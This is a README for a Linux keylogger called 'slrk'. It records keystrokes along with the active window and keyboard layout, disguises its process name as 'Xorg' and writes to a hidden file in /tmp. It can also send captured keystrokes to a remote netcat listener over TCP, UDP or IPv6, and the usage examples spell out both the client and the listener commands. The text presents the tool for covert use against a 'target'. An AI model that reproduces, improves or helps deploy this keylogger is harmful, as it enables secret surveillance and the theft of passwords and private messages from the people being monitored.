SimpleLocal&RemoteKeylogger

DESCRIPTION:

• Simple keylogger that runs on Linux either locally or remotely.
• It shows the active window on which the target is writing.
• It shows the keyboard layout(e.g.: us, it, colemak, etc..).
• Process name is renamed as "Xorg".
• It works with both TCP and UDP and with ipv6 too.
• It must be run as root.

SYNOPSIS:

#./slrk [OPTIONS]

OPTIONS:

-d <input-device>:                  If not specified, the default device is '/dev/input/by-path/***kbd'
-o <output-file>:                   It can be used only if '-m remote' option is not specified. The default output file is '/tmp/.logger.txt'
-m remote -a <IP-ADDR> -p <PORT>:   It sends all the keystrokes on the remote server located at <IP-ADDR:PORT>

EXAMPLES:

• TCP:

Server$ nc -lvp 8888 > logger.txt
Client#./slrk -m remote -a 127.0.0.1 -p 8888

• UDP:

Server$ nc -u -lvp 8888 > logger.txt
Client#./slrk -m remote -a 127.0.0.1 -p 8888

• IPv6:

Server$ nc -6 -lvp 8888 > logger.txt
Client#./slrk -m remote -a ::1 -p 8888

NOTES:

Supported keyboards:

• QWERTY: us, es, it.
• AZERTY: fr.
• QWERTZ: de.
• DVORAK: us.
• COLEMAK
• default: qwerty-us
  

You may also change keyboard during slrk execution with, for example:

$setxkbmap dvorak

and slrk will detects the new layout.